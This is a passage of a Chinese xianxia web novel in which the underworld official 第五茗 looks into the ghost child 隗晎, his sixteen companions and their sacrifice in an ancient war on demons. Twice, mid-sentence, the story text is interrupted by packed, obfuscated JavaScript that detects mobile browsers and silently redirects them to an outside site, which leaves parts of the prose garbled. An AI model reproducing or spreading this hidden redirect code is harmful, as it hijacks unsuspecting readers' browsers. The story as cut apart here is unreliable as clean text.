隗晎手上陈列簿子的动作一顿,道:“识得。活着时,偷偷爬过学堂的矮墙。” 小小的脑袋缓缓垂下,无奈道:“百年时间,也是有些无聊,这期间又读过六天宫内的许多杂书,偶尔,路过的“秀才”和“官大人”们会倾囊相授。其他的,看得多了,见得多了,自然也学会了不少。” 软榻边的小桌上,放了一个针脚还算过得去的暖囊,里面裹着一只罐子,和桌边那只倒满水的琉璃盏一样,正冒热气。 第五茗不禁叹道:“真聪明。可惜了…” 她侧躺入软榻中,身下酥酥软软,嘴上冰冰冷冷道:“说吧,来这里究竟是所求为何?” 隗晎停下动作,不觉困窘,转身回道:“想到真君身边随侍。” 第五茗摇头,淡淡地道:“没说真话。” 隗晎抬起头,向软塌直视而去,道:“是真话。” 第五茗道:“那就是还藏了话。” 隗晎有一丝犹豫,不加遮掩,表露心迹道:“我们十七人,真君是见过的。” 见第五茗点头,他继续道:“因都是小孩身量,在六天宫难免受些磋磨。我们几个心性稍长的男孩子还好,能忍能抗,但其他人,长此以往会出事。” 他眼眶发红,隐忍道:“抄录书经还好,佛文经字,总归是地下墨汁誊抄出来的,除了写的时候身体不舒服,倒是没有大的问题。可不知为何,总有阴差捉我们几人去地狱戏弄,那地狱火…难耐至极,我担心他们身体受不了…想求真君收留。” 第五茗一脸淡漠,恍若方才听的都是些很正常地事情,摆手道:“不收。” 隗晎力争道:“真君今日夸我好几次“聪明”,他们也很聪明,不会给真君添麻烦。” 第五茗坐起身来,道:“不是不收他们…” 闻言,隗晎眼前一亮,第五茗接下来的一句话,又是让他眼前一黑,深不见底。 第五茗正色道:“是一个都不要,包括你。” 隗晎失声道:“为什么…” 第五茗缓缓地道:“麻烦。” 她无意间攀上暖壁琉璃盏的手,松了开,提起一旁冰冷发凉,饮下喉间会自动生出一股灼热的阳酒,仰头喝了起来。 隗晎所求之事,第五茗并没有让他如愿。她躺回软榻后,送客道:“以后别再来了,司命府里这些杂事,本君挥挥手就能解决,不需要你来做。” 隗晎牙口发颤,道:“是。” 第五茗道:“你所求的事,还是那句话,去找地藏王菩萨,比向我祈愿,要容易许多…” 隗晎不甘,却不得不应道:“是。” 第五茗惯常地被小鬼骚扰,惯常地去应付,本以为第二日还会见到隗晎,岂知,隗晎真的很听她的话,至此未再来过… 换做是其他小鬼,定是要软磨硬泡,纠缠打闹,迟迟不肯作罢。 而他既没有到司命大敞开的府门外转悠,也没有天天去六天宫的各地蹲守第五茗。 这种不同于其他小鬼的异常,貌似引起了第五茗的注意。 她偶尔坐在案桌前时,会忍不住朝门外张望,搜索那一日让她讶异,让她忍不住频频夸赞的小小身影。 这一日,第五茗在贺仁的判罚殿讨酒喝,酒没喝到,倒是让她见到了隗晎口中所求之事。 溪亖音哭哭啼啼,被两只阴差推推搡搡,押入了上行下沉梯。 第五茗眨了眨眼:谁安排的?怎么这两天总遇见他们… 她拧眉道:“本君记得没错的话,这小孩,是献祭人里的其中一人。” 贺仁倦怠道:“这地府是不是没有真君不认识的小鬼啊…怎么又眼熟了。” 侧头,第五茗翻了一个白眼,朝桌榻另一侧的贺仁看去,问道:“押她下去做什么?” 贺仁捻起一块冰,在嘴里嘎嘎嚼碎,慢条斯理道:“应该是送到下面去吓唬吓唬,免得待得久了,生出怨气来。” 原来如此。 隗晎讲的是实话。 还是阎罗殿殿主指派阴差去做的。 第五茗满脸黑线,扶额道:“这样做恐怕更容易造成鬼变吧。” 贺仁又吃了一块冰,道:“无妨无妨,若真到了那一步,正好推进火里。” 第五茗震喝道:“贺仁!殿下!!你们下面的人能不能正经点,殿下明明是利用地狱火热气帮那群小鬼驱除瘴怨,怎么被你这番话说出来,听着像要加害他们。” 贺仁手指在衣襟上擦了擦水,大口哈气道:“喏…真君都知晓还问,本君不得给真君一个台子,让真君唱一出戏,再入内玩上一玩。” 第五茗脸色涨红,垂目道:“玩?玩…玩什么…” 她能玩什么。 不就是平日里,动不动捉几只小鬼,押进司命府讲生时故事,或是寻了小鬼去做“庄”,同阴差们一同押注玩“解谜”游戏。 贺仁撅嘴道:“真君玩了个天翻地覆,小鬼和阴差都成了司命的常客,这次相中他们…就不好开口了?” 尴尬地侧转头,第五茗嘴硬道:“本君何时说想要这小鬼了。” 隗晎去司命府找第五茗的事,贺仁早有所耳闻。 第五茗这段时间失魂落魄,好几次把其他小鬼的名字叫成“隗晎”,贺仁想都不用想,便知道隗晎那本命格簿子在第五茗手中翻了多少遍。 贺仁笑道:“这不就说了。” 啪!一掌拍在桌上,第五茗气急败坏道:“贺仁!!” 贺仁端坐身子,道:“真君还是一如既往地脸皮薄,你说你来下面这么久了,鬼气虽是沾染上了一些,但看着有些不够啊。” 若说第五茗的性情三分来自天生神格早降的不通透,三分受于小鬼无常事影响,那剩下四分便是由地下的阴差阎罗所带偏的。 和天界仙的不同,地下的鬼仙往往更随意,身负七情六欲,心也多巧思,百转回肠,让初初加入他们的第五茗,有些招架不住。 至于后面受难渡劫,也算是终于让第五茗扬眉吐气了。她饮酒后判若寻常,落魄后,更是有过之而无不及,令小鬼闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778035|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风色变。 第五茗没搭理贺仁的话,转头说起另外一件事,道:“前几日,本君遇见一只小鬼,甚是稀奇。” 贺仁低低吐槽道:“又稀奇了啊…真君就是见得少,再多待上几万年,你便会觉得他们和你的簿子其实是一样的。” 第五茗摇头道:“不是,你先听我把话说完…那小鬼的生时故事极其普通,你不听也可做罢,本君就不讲那些,唯有小鬼离开第六天宫,投胎前与我说的那几句话,格外有意思,你真可以听上一听。” 贺仁撑头在桌子上,打了一个哈欠,点了点头。 第五茗接着道:“我告诉那小鬼,他们的一生都是司命殿里编纂好的故事,故事皆是大同小异,连名字也是上面早就定好的,可他不信,你猜他怎么答的?” 还得互动,这是贺仁没想到的,他捡了一块冰吃,提起精神道:“那小鬼差不多…该是说‘真君这话不对,故事虽然都是出生,长大,成亲,生子,老暮,生死,但我和他出生地不一样啊’。” 没给第五茗说话的时机,贺仁咬碎冰块道:“真君定是又争辩了一句,‘这一处,司命的簿子上会随机安排,可这也不是你们自己选择的’。不知道我猜的对不对呢?” 第五茗又白了他一眼,道:“那你倒是把他接下来的话也一起猜了吧。” 贺仁撑回脑袋,嬉笑道:“真君这不说笑了吗?我也就知道前两句…若后面的详细生平都知晓了,那岂不是说明,我去真君的司命府偷拿了命格簿子…我可没那胆魄。” 第五茗抱手道:“本君当时还没翻过他的簿子,他道‘五岁读书,七岁念诗,十岁入学堂,十九岁考取功名,二十一岁成亲,二十二岁做爹,三十五岁为歹人谋害,难道都是命格簿子安排好的?’本君答了他…” 叙说别人生平,她语气淡淡,到了最后一句,无意识地上扬了语气。 贺仁耳边嗡嗡,以为第五茗再一次让他互动,他强打精神,努力掺和进来,提前道:“我知道了…这话我知道怎么答的。” 第五茗停了下来,耐心道:“好吧,你说,本君会如何说…” 贺仁咧嘴道:“来第一殿的小鬼,没少传颂真君的话,且让我想一想…‘只要你身处三界,一切都是安排好的,包括你今日会身死,明日去投胎,都是一早就被写进了簿子里’,可是这番话?” 第五茗脸色尴尬,点点头。 贺仁张口又来一句,道:“我还准备了两三句,没想到第一句就猜对了…” 随即,他继续道:“若是寻常小鬼,聊到这里,应该再赞叹一句‘果真有天命’,也不知道这只小鬼是不是寻常小鬼?” 第五茗脸色微红,再一次点头道:“没错…是一只寻常的小鬼。” 贺仁甚是无聊,吐槽道:“那接下来这句话,我可能又猜到真君会讲什么了…” 贺仁嘀嘀咕咕不停,第五茗羞愤难忍,伸手想捂住贺仁的嘴,没想到贺仁一个转身,先站起了身,没注意到第五茗的动作。 接二连三猜中,让贺仁来劲儿了,他摇头晃脑,学起第五茗往常办事的正经样子,掐起嗓子道:“若是寻常小鬼,定是会接着找真君问一问命数之事,而真君呢…自是回言辞拒绝‘不行,你这是想窥天命,逆天命而行,怎么可能呢,人身大事,一切皆是命定,你按着簿子一步一步走就好了。’到这里就该差不多了…” 说完,贺仁身子一萎,叹气道:“司命府写的故事大差不差,我这数万年听过小鬼的亲口陈诉,也是差不多的…真君来了,隔三差五,又要找我说上一次,我这耳朵…啊…什么时候是一个头呢。” 他的抱怨,第五茗恍若未闻。 第五茗启口喃喃道:“命中故事不重要,是那小鬼最后一言,本君困惑。他说他不是想逆天改命,只是想起成亲之夜,帐子内,他内人嫌弃脸上疤痕,就每每心有遗憾,若是能提前知晓簿子里的一二,那他小时候就不会去贪玩,从树上跌下来把脸划破了。他只是想…少些遗憾。 片刻停顿,第五茗似有纠结,说出了此次最想同贺仁讲的话,道:“其中怪就怪在,本君翻看簿子时才发现,簿子里根本没有那只小鬼从树上跌落划伤脸的情节安排,而对于小鬼来说,脸伤遗憾,极其重要,甚至在死后仍一直记挂心中。” 闻言,贺仁身子一震,困意全无。 他从未听过小鬼如此细致地讲这些“小事”。 第五茗走了过来,惆怅道:“殿下应该知道,这种死后也念的事,在命数中称之为「心劫」,痨病而亡,思虑过重的死法,便是由这一劫难而致。” 贺仁回身正视道:“小鬼难道不是因心劫而死?” 第五茗复述先前讲过的话,道:“说生平事的时候讲过了,他三十五岁,歹人谋害所亡。” 贺仁呐吶道:“寻常死劫…” 忽而,他嘻嘻笑道:“或许是个别小鬼出了这情况…” 第五茗打断他的话,道:“这事早在本君刚被派遣下来时,本君就发现了。” 顿了,她细细讲述道:“最初,是无意间听见一只小鬼说他小时候的事,他因偷喝一口酒,导致父兄责备,小鬼死后念念不忘,生了心劫,本君听着有异,至此开始留意小鬼的生时故事。不久,另有一位妇人命,她儿时忘记采走的城门一株娇花,后来深闺妇宅一生,她再没有见过更美好的景色,在死后因此生了心劫…” 贺仁尴尬道:“定是凑巧了…” 第五茗摇头,又举上一例,道:“本君还记得有一位秀才,也是死后生心劫,他是一个落榜秀才命,本事不足,却执着卷面整洁,到死都对考卷上那一滴墨不能忘怀…诸如此类,还有很多,本君暂且先不说了。但…就这几人,本君将他们的簿子都翻烂了,可以很确定的是,上写的皆是寻常死劫,均没有心劫的桥段安排,他们在死后,却偏偏都生了心劫。” 贺仁面色诧异,心道:命数异常,实属秘辛!!真君糊涂啊… 怎么能如此堂而皇之地说出来呢?! 都说知道的越多,死得越快,贺仁可不愿意听这么大一个秘密,强扯出笑容,装作没听懂,打趣道:“真君,或许是你听岔了,看错了呢?” 81. 散阳误惹一鬼心4 第五茗睨了他一眼,道:“你是说本君眼神不好?” 她是以神眼从天道降生,说谁的眼睛不好都行,说她第五茗眼神差,那就是这人有问题了。 因为…天道不会有异。 贺仁嘟囔道:“怎么会!真君眼睛最好使了…但小鬼有心,难免生出一些想法来,说出的话和做出的事,可能在有些地方看着就不同了,真君生来是仙,自然是会在某些地方无法体会。” 继而,他背过身,躲避第五茗直视的眼神,牵强道:“我做过鬼…我清楚,这些啊,正常的…正常的…真君勿要多想。” 第五茗困惑自语道:“是吗…” 贺仁强调道:“是的是的,一定是的…” 这时,上行下沉梯内传来一阵骚动,一道小小地身影飞快窜出,直奔第五茗,藏进她的衣裙身后。 那是一抹鬼影,身上不带怨气也没有戾气,呜呜咽咽,抽抽噎噎,那团鬼影哽咽道:“姐…姐姐,救救我…他…他们,拿火烫我…呜呜呜…我没有做过坏事,也没有害过人,我来地下以后,一直很听话很听话…他们趁小晎哥哥不在,趁他们都不在…把我拿去烤火…好烫啊…” 第五茗和贺仁没动,没言语。 第一殿内的其他阴差不好出言训斥躲在第五茗身后的小鬼。 殿内安安静静,上行下沉梯里脚步声动静异常,片刻,走出来几名阴差,和第十殿殿主贺和。 贺和朝第五茗见礼道:“见过真君。” 他又向贺仁点了点头,便直接叫魂,道:“小鬼溪亖音速速出来。” 来自阎王的召唤,溪亖音身体不如先前般自由,腿脚不受控制地从第五茗身后绕出。她想张嘴说点什么,可是嘴唇发硬,也不受控制,紧闭不开。她只能泪眼汪汪地看向第五茗,发出求救。 小鬼的稀奇事,第五茗又怎么会不想管上一管呢。方才,她得了贺仁的调侃,便不好意思在溪亖音冲出来时,出声问话,堪堪忍住心头的冲动,静静观摩。 此时,溪亖音望着她哭,她哪里受得了,叹息一声,抱起的双手,从青色大袖里抽了出来,一把拉停了正在离开她身边的溪亖音。 另一手,幻出一张白巾,盖在溪亖音脸上,向对面的当事人问道:“贺和殿下,这是怎么回事?” 贺仁摇头无奈,小声嘀咕道:“麻烦啊…” 要抓的鬼就在眼前,贺和不如先前着急,答道:“她不知道从哪里偷来的符,刚押到地狱火旁,便让她一推一搡,将几名阴差放倒在地,还在十殿内四处乱窜。” 不知是第五茗的白巾起的作用,还是第五茗拉住溪亖音的手,帮溪亖音解了禁制,在贺和说完这句话后,溪亖音嘴能自由张合,白巾下她声音如雷贯耳,争辩道:“不是偷来的,是我们帮工时,向鬼仙挣来的!!!” 这一吼,用完了溪亖音的全身力气,她靠在第五茗身侧,瑟瑟发抖。 突来的触感,让第五茗一怔,她把溪亖音面上的白巾揭开后,在她脸上轻轻捏了捏,探询道:“哪来的鬼仙?你们如何挣的?” 溪亖音小手紧握第五茗手指,陈恳答道:“不知道是哪里来的鬼仙…他让小晎哥哥他们陪他打练,期间会给我们力气变大的符纸,哦…还有跑得很快的符纸,若是一场下来有多余的,我们就可以自己留下。” 说到这里,溪亖音苦闷,吐槽道:“鬼仙总是能算好符纸的量,我们基本留不下来的…” 闻言,贺仁道:“应该是第二天宫来的…不过,他们怎么会想起来找地下小鬼辅助修炼?” 哼…辅助修炼?当真是偷得一手好懒。 第五茗拧眉沉思,一副兴师问罪的模样。 贺和迟疑道:“这件事,本君可能知道一点。” 听到这话,贺仁身子明显震了震。 紧接着,贺仁看向第五茗,摇头否认道:“十殿绝没有插手飞升之事!!” 第五茗眉头未松,颔首。 贺仁转头愣了贺和一眼。 只见贺和十分委屈,解释道:“最近好像兴起了一种肉搏淬炼筋骨的法子,但是!本君绝对没有纵容他们作弊,我也是今日听这小鬼说了,才想起阴差前几日回禀的一件事。第二天宫那群修炼的鬼仙,若是遇见久久没有突破的,难免心气郁结,会在小鬼面前为王称霸,找他们麻烦来宣泄一番,只是没想到这一层,他们竟然是找第六天宫小鬼去走捷径。” 话音刚落,第五茗和贺仁眉头慢慢地脸色越加难看… 贺仁急忙道:“真君放心,此事本君一定会彻查。” 第五茗点头道:“且需筛一个名单呈与司命府,本君要核实飞升名册。” 贺仁和贺和齐声道:“是。” 两名阎罗战战兢兢,旁观的溪亖音难免受到影响,有些害怕。 她失神,躲进了第五茗裙裾间。 悉悉索索,溪亖音拉扯裙尾,弄得第五茗身形摇晃。 第五茗挑眉,把人拉了出来,本想安抚,却低下头,转而问道:“身上还有符纸吗?” 鬼仙找小鬼走捷径,于司命府来说非小事,然而小鬼得鬼仙法物,于六天宫而言,也非小事。 还没等贺仁和贺和盘问溪亖音,第五茗倒是先他们一步处理起来。 溪亖音摇摇头道:“没有了,总共三张,刚刚都用完了。” 第五茗又问道:“另外十六人身上有吗?” 原来真的还记得他们…溪亖音眸含希望,再次摇摇头,道:“没有的,小洪哥哥他们就存了这几张,都给我了…” 说到这里,溪亖音啜泣,眼泪不止,恳求道:“他们身上好多口子,裂开的缝都能透光,很疼很疼的…好不容易存了这几张,他们怕我扛不住火烧的烫,都给我了…姐姐,你这么漂亮,心也一定很好,你帮帮我们吧。” 第五茗蹙眉,松了手,问出最想问的话,道:“隗晎让你这么做的?他想让你求我帮你们?” 溪亖音眼泪大颗大颗地流,点头道:“小晎哥哥说…” 第五茗心头一紧:小鬼心思如此多,竟算计本君了。 好大的能耐!! 安排了一个藏不住心事的小女孩到阎罗殿哭诉… 好手笔!! 先前,倒是小瞧了。 那厢,溪亖音抽抽噎噎,一脸诚挚道:“他说,让我能逃一次算一次,逃不掉了,他说让我忍一忍…忍过了,鬼差大人是不会杀我们的。可是…姐姐,那火好烫,好痛…乐正词媿都说疼,我一定忍不住的,我最怕疼了…刚刚进来时,看姐姐面熟,想起刚地下时,是见过姐姐的…你说话,好听,那次也没有重罚我们乱闯,我这些年听说过,姐姐是仙君…本领大…” 聪明。 只呼疼,不说事。 溪亖音这段话一出,贺仁和贺和便怀疑不到十七人身上了吧。 第五茗若有所悟… 十七人何时不能解瘴怨,偏偏她来第一殿时,阴差会押了溪亖音去解瘴怨。凑巧的,十七人挣的符纸,且帮了溪亖音顺利逃到她身边。 十殿十道上行下沉梯,若没有人提前给第一次来的人指路,黢黑黑的甬道,小鬼怎么能逃得那般轻易。 最主要的是,第一殿中看似误打误撞的发生事,竟是不仅让溪亖音把鬼仙修炼的秘辛捅露,还让溪亖音在她面前露了脸。 刚刚有一瞬,第五茗在脑中理清了今日遇见溪亖音的不对劲儿之处,大胆猜测是隗晎安排好的一切。更没想到,她发问之后,溪亖音果然真顺她的话,说出了预料之中无关紧要的话。 破绽频露…处处留痕迹… 隗晎居然没想对她掩藏?? 当真是好算谋! 却有些明目张胆… 是在赌吗? 如此想着,第五茗不禁哂笑,把溪亖音揽进怀里,心底不知道为什么冒出了一股异样的情绪。 真是大胆!本君是善?是歹?岂是对小鬼的态度就能评定!! 胡闹!!! 然而,第五茗手上却开始在施法探寻溪亖音状况,嘴上还关问道:“十殿内是不能随意乱跑,若是误入了小地狱,到时候你是想出也出不来。” 溪亖音道:“我听姐姐话,以后不会乱跑了。” 顿了顿,第五茗道:“可有受伤?” 溪亖音撩起袖子,漏出胳膊上一个还在冒烟扩大的洞,道:“那火蹦出来的一个星子,打在这里了,很疼很疼…” 第五茗紧张道:“为什么不早点告诉本君?!” 溪亖音伤心道:“小晎哥哥他们受伤从不对别人说…我们怕被欺负…” 贺和急忙道:“第十殿从来不欺负小鬼啊!是她自己绕着地狱火跑…凑得太近了,十殿里的阴差拉都拉不住,本君还因她挨了几道火星子。” 第五茗拧眉,白了贺和一眼,又瞟了一眼沉默深思的贺仁,见两人没有插手体恤的举动,叹息一声,抬手从那洞上抚灭烟雾。 随即,一瓶新生水出现在她手中,她倒出两滴敷在溪亖音胳膊上,道:“你生前没犯事,大人们不会处罚你,既然下来了,就要听他们的话,免得多受罪。” 贺和望向那瓶新生水,一脸羡慕,难受地瞟了瞟身上被地狱火烫出的疤痕。 溪亖音胳膊上的洞慢慢愈合,她道:“好…我听姐姐的话。” 第五茗满意含笑,道:“这些都给你,记得带回去分给他们…算是鬼仙欺负你们的赔偿。” 极其大方地,她把手上的新生水,连瓶带水塞进了溪亖音怀里。 贺和心如刀绞,眼睛定在那只玉瓶上,喃喃低语道:“只是遭欺负而已,又不是魂身碎了,这么多新生水送出去,多浪费啊。” 另一边,回神的贺仁,似遭什么困扰住了,甚是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15783230|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为难,提醒道:“小鬼看着胆小,却敢在一仙两阎罗面前这般行事,恐怕…另存心思。” 没错,贺仁不小心又估摸出一个秘密了。 第五茗看破的事,隗晎设在溪亖音身上的“陷阱”,贺仁自是也不傻,方才想透了其中的点点滴滴。 碍于鬼仙事在前,他刚有失职,不好再说小鬼在他的地盘,算计着天上仙君吧… 他贺仁,也是要颜面的。 还没等第五茗开口,溪亖音率先争辩道:“我没有,我们从不干坏事…” 贺和不知其所以然,帮衬溪亖音,道:“他们就是胆子大了一些,早早懂事了点,没坏心思…” 第五茗笑了笑,望向在场唯二理清事情原委的贺仁,窃喜道:“他们?贺和殿下好像有话要说呢?” 贺仁一震,转头,眯眼,瞥了贺和一眼,道:“你想说什么…” 他眼神却犀利暗示贺和道:真君在此,说话注意点!!别真的不拿上君当外人,什么都说!!! 同时,溪亖音委屈附和道:“我们胆子都不大的…” 贺和没读懂贺仁的意思,点头赞同了溪亖音的话,憨憨地道:“他们十七人的事,本君算是知道一点,拉他们去地狱火驱烤,正是本君的注意…” 贺仁张开嘴阻止的声音还没发出来,贺和继续道:“唉…当年灭魔献祭之事,说到底是苍生对不起他们,让他们惨死不说,还不容他们转生。本君亲眼看着他们被生吞活剥,自然是清楚他们十七人是什么样的人…” 十七人死法特殊,命数未止未停,却不能转世更是特殊。 十七人不管做什么事,在六天宫比之寻常小鬼都有一些特别,甚是有人味…可这些小鬼日常,大多只能算是微不足道的小事,对于第五茗等上面来的仙君,不主动去了解,便没有小鬼会多言多语,把这些事拿到他们面前八卦。 而贺和作为第十殿阎罗,主要是负责收押小鬼,这些小事就汇报在了他的案头,让他知道了十七人因日常事常生出瘴怨。 他担心十七人生出不该生的戾气,让天帝知道后,找了借口把他们十七人诛灭,便想了这么一个时时可帮他们解除危机的法子——十七人轮流去地狱火前驱烤。 贺和是好心,十七人却不知道。 继而,有了今日的事。 除了这一点,贺和同十七人还算是老相识。 当年参与围剿,灭魔界,贺和是负责十七人献祭的主事官,格外清楚十七人遭遇。 帮衬十七人,不过是贺和因当年事,生出了怜悯心。 于心不忍了… 贺仁眸色一凛,不悦腹诽道:贯是会惹麻烦… 第五茗肉眼可见地兴奋了,追问道:“你嘴可真紧…说说吧,本君好奇了这么多年,当年的仙妖人没几个能说清的,他们十七人的命格簿子上也没有显现这件事,本君正好奇呢。” 贺仁的眼色,贺和总算看明白了,自知说了不说的话,不敢继续说下去。 望向贺仁,他一副犯了错的模样。 贺仁往榻桌处走了去,一边走,一边朝四周吩咐道:“都退下吧。” 一众阴差应道:“是。” 须臾,阴差皆尽数退出了第一殿。 贺仁音量不大道:“让我来告诉真君吧。” 第五茗佯装温怒,拉上溪亖音一起坐到了榻侧,道:“贺仁殿下,你还真知道…先前来问你,为何不说?” 贺和在榻对面站定,不敢落座。 贺仁兴致悻悻道:“不是什么好听的故事。” 第五茗问道:“先前不说,现在可以说了?” 贺仁瞟了眼贺和,道:“他都说到这份上了,不主动说给司命真君听,万一以后真君把我握挟去写本子可怎么办?我可没那个能力…” 贺和歉意十足。 第五茗倒是乐了,可她接下来听着听着,乐着乐着便乐不起来了。 但闻,贺仁道:“贺和是主事官,但审问十七人的是我,六天宫择选贺和去人界搜寻这批人,也是我的安排。” 第五茗追根溯源,看透了这事原在贺仁。 挑起嘴角,扫了眼贺仁和贺和,她笑道:“物以类聚,人以群分,地下的气场蛮合本君的,可惜了…本君天生做了仙,若是先做一做鬼,说不定十殿阎罗的位置也有本君的份,指不定以后会修一个魂命试试…” 仙降鬼,可不是什么吉利事。 这话大忌,说不得。 贺仁和贺和心头一震,面上惶恐。 贺和只听了第五茗话面上的意思,只当第五茗是心性浅,好玩。 贺仁却瞧出了一丝不正常,他可不敢细想… 他知道的秘密太多了… 插手的事,好像也不少… 贺仁长舒一口气后,摇头正经道:“十七人的事,话说起来挺长的…” 82. 城外天命城内命1 上万年前,魔界溃不可击,苟延残喘之际,余孽逃窜至人界大地国。 三界为将其赶尽杀绝想出了一个办法——献祭诱灭。 迎新城内,大地国子民正在士兵的驱逐下一点点地搬迁出城。 而另外,有六七辆马车,现下由将士押解,驶向这方。 雄兵利刃,壁垒森严,马车里装的不是宝贝法器,坐的也不是皇权新贵。 里面是孩童,是此次献祭的祭品——阳性生灵。 阳性生灵极其稀有,因为,不是活着的生灵就有阳性。 所谓阳性,其实是一种通俗的说法,与阴相对。 一个人从出生到今时,要从未做过坏事、错事,品德尚且过得去,四肢健全,身体康健无虞,并自出生之日起,往前顺数祖宗六代,每一代皆没有遭遇过大的变故,或是人生起伏,由生到死,均没有出现波折,且此人还需得是阳寿未足十三岁的孩童,才能算是阳性生灵。 缺一则阳性缺,每一条都必不可少。 天界司命府,可窥人界凡人命数。 本来要凑足献祭的十七位阳性生灵,对合作的仙妖人三界来说,是再容易不过的事。 可是!天帝是个多心眼的人,怕有违天命,天界遭受反噬,故而只向其他两界透露了一个字:有! 人界,有阳性生灵。 人界,有足够献祭的阳性生灵。 随后,有且只差了一名六天宫可约束鬼魂的阎罗协助,剩余的事,便让人帝安排人手四下搜寻。 然而,大地国发出告示寻找阳性生灵,于百姓而言,等同是朝廷在向所有人发布“缉杀令”。 流言四散,许多家庭为躲避风头,直接在孩童身上动起手脚,让自家孩子受凉伤风感冒数月,或是狠心折断手脚,一时之间,群起抵抗,竟真让人帝在万里河山找不出合适的人选。 像这批车马中,从西北方雍凉城来的那辆,护疆大将军家的两位小公子,便是几经磨难,在大地国里,最先找到的阳性生灵。 人帝身为人,深谙人性。 久寻不到,人帝便想到了找天下之表率领头。以人性中特有的同心同德为攻击点,只要有一人主动投报,四方臣民定会效仿,再加以威逼利诱,必是能按时寻齐十七名阳性生灵。 这表率,毫无疑问,自是从人帝领属的臣官家中搜寻。 百官享碌,天下出了事,百官及其家属先顶上,也是众人喜闻乐见的。 只不过,官场多风云,找一两代父子皆在朝中为官的,还算比较容易,两三代爷父孙都为朝效命的,也不算难事,可是要祖上六代,直系传承,均是朝中之人,就不是一个简单的事了,那难度比找六代全家务农的,要高上千倍万倍,犹如小鬼登天。 也不知是命里要给三界灭魔的机会,还是真的事在人为,人帝得到了他的捷报。 一封只会在战时才会火漆封送的秘信,从雍凉城送来… 守疆将帅膝下的同胞双子,均是官运命中的阳性生灵。 原来,戍边守城的将领,远离皇朝,多以承袭为主,且历代历朝,都是换国主不换边疆士,故而还真出了符合条件的一家百年朝臣。 朝廷本着仁义出发,只让其奉了一子祭阵,没想到,那马车行到中途,押送的人例行查看时,发现车里居然坐着将军府的两位小公子——杨战息和宋世平。 同时,南边也传来了好消息,水乡之地,台古郡的富商溪氏,举家九代皆为商,代代善经营,恰巧他们家中,如今有一个年岁适当的独女溪亖音。 因溪氏到溪亖音父母那一代,生意上的往来更加昌盛。诞下溪亖音后,夫妻双双将重心投入到了家族产业中。他们为了弥补与溪亖音聚少离多的亏欠,把她当传家宝一样呵护,要什么给什么,连带朝廷出了征召阳性生灵之事,溪家在条件如此相符合的情况下,也没忍心去伤害溪亖音一分一毫,只是派了一众奴仆,掩藏护送,欲把人藏入乡下。 此时此境,可想而知,哪能让他们家如此简单地躲过这一劫啊。 在他们犹豫之间,朝廷的士兵早在半路截走了溪亖音。 溪氏上下,悔不当初,痛哭在家… 都说好事上赶着来,这不好的事,没想到…亦有人会傻傻地去凑热闹。 西面,一小镇中,击鼓传出一道消息。 镇上衙役挨家挨户搜寻阳性生灵之际,有一名叫南泥的孩子,在一群孩童被盘查时,他两肋插刀,挺身而出,主动投报。 经核验,他还真是百寻千念都找不到的阳性生灵。 一而再,再而三的喜讯,让朝廷看到了希望,他们加重了悬赏。 皇城京都中,一间数一数二的花楼,捆了一位名叫怀晓的小厮送去参审。 那一日,出落标致的怀晓,该是从伶人之子的身份,被扣上耳印,带上惑人坠子后,挂牌出售,引客人「住局」。 俚语为:俏伶人,卖初夜,污身子,赚银子。 青楼里的龟婆们见朝廷给的赏钱,比卖掉一个“孩子”的赎金要多翻上好几倍,花街中那七八间楼子,便开始在自家屋里寻找合适的苗子。 嘿!就是这么巧…怀晓往上六代人,均为那家花楼的伶人。 出奇巧合的是,怀晓的几代先祖啊,有一个相同的命数。 他们差不多皆暗通款曲了清白人家的姑娘,且都留下了一个种… 到大地国时,清白姑娘密会伶人有孕,出嫁前,被扔回来的一子,便是怀晓。 这时,东南方隐匿许久的大儒,突然现身临近的城池,敲响了府衙的擂鼓,他献上了族中小才女乐正词媿。 阳性生灵一事如人帝最初始设想那般,出现的人越多,响应的人随之变多,另有三处地方的擂鼓响动,朝廷得到四个小男童,名为凉离、甘歌、路了绿和珪光。 十七名献祭品,只差最后七人。 迎新城内,一个半月前,早已空空如也。 城头的角楼没有士兵把守,一城四方的朱漆大门紧紧关闭,门外土壤下,以金石埋好了阵法,萧萧肃肃,死气沉沉。 千里以外,却是热闹非凡。仙妖人列阵,仙人助法,妖人助势,凡人助力,他们即将以城为牢,完结一场毁天灭地的大事。 等等… 寂寥的迎新城内,居然还有一丝生气,是一仙。 鬼仙! 鬼仙不是别人,正是贺和。 这几日,贺和频繁穿透城门,进入城内。 他身为筹备十七名阳性生灵的主事官,核验了近千名凡人,然而,这段时间,他都想要把自己扔城里献祭了。 因为他手上,只有那十人。 天下之大,三界广袤,人界生灵繁盛,仙魂之体,想要在人界以无罚无罪之身寻人命,竟也是难上加难。 本来,贺和以为剩余的阳性生灵,会如期寻到…一个月,一个半月…三界帝君催了又催,早寻好的十名孩童都陆续到了迎新城城外,这最后七人,整个大地国愣是一点踪影也没有。 灭魔一事,不能再耽搁… 今日,贺和奉命,先将十名孩童关入城内。 城门未开,贺和以符纸在上面剖洞,陆续把十人遣进了迎新城内。 贺和道:“进去后,站在城门处等着,不许四处乱跑,里面有阵法…当心被阵法缴成肉泥。” 十七名阳性生灵还没收齐,阵法启动不了,贺和说出来,是吓唬他们的。再说,那阵法是用来对付魔界余孽,就算十人乱闯碰到了,其实也不会发生什么事。 